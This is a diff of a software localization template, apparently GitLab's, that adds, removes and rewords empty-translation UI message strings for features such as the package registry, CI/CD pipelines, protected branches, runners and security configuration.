msgstr ""
@@ -20518,6 +20218,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20539,6 +20242,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20551,6 +20257,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20611,9 +20320,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21391,9 +21097,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21535,9 +21238,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21796,9 +21496,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21973,9 +21670,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22024,7 +21718,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22081,13 +21775,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22285,9 +21979,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22306,7 +21997,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22615,9 +22306,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22804,9 +22492,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22945,9 +22630,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23584,10 +23266,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23665,6 +23347,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23695,6 +23380,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23719,9 +23410,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23773,6 +23461,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23782,15 +23473,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23836,6 +23527,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23866,6 +23563,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24058,9 +23761,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24265,10 +23965,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24280,9 +23980,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24292,16 +23989,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24421,10 +24124,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24442,12 +24145,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24559,9 +24268,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24712,13 +24418,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24763,10 +24469,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24778,6 +24484,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25390,6 +25102,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25675,9 +25390,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25705,6 +25417,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25717,9 +25432,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25768,15 +25480,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25825,9 +25531,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26443,9 +26146,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26461,9 +26161,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26548,21 +26245,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26578,18 +26272,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26605,9 +26290,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26620,6 +26302,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26635,7 +26320,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26644,6 +26329,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26653,9 +26341,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26674,9 +26359,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26800,13 +26482,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26827,12 +26512,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26842,6 +26536,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26851,12 +26548,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26902,18 +26602,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27319,6 +27031,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27346,6 +27061,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27526,6 +27244,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27541,15 +27262,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27565,9 +27280,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27715,15 +27427,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27733,15 +27448,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28147,6 +27853,9 @@ msgstr[2] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28297,12 +28006,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28318,9 +28021,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28417,6 +28117,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28426,9 +28129,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28495,12 +28195,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28510,6 +28219,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28519,9 +28231,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28534,9 +28255,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28579,12 +28306,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28615,6 +28348,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28693,6 +28432,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28744,10 +28489,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28780,6 +28522,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28831,6 +28576,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28915,9 +28663,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29059,12 +28804,6 @@ msgstr[2] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29131,6 +28870,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29152,6 +28894,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29161,6 +28906,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29185,9 +28936,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29197,12 +28957,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29215,7 +28984,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29224,6 +28996,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29236,6 +29014,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
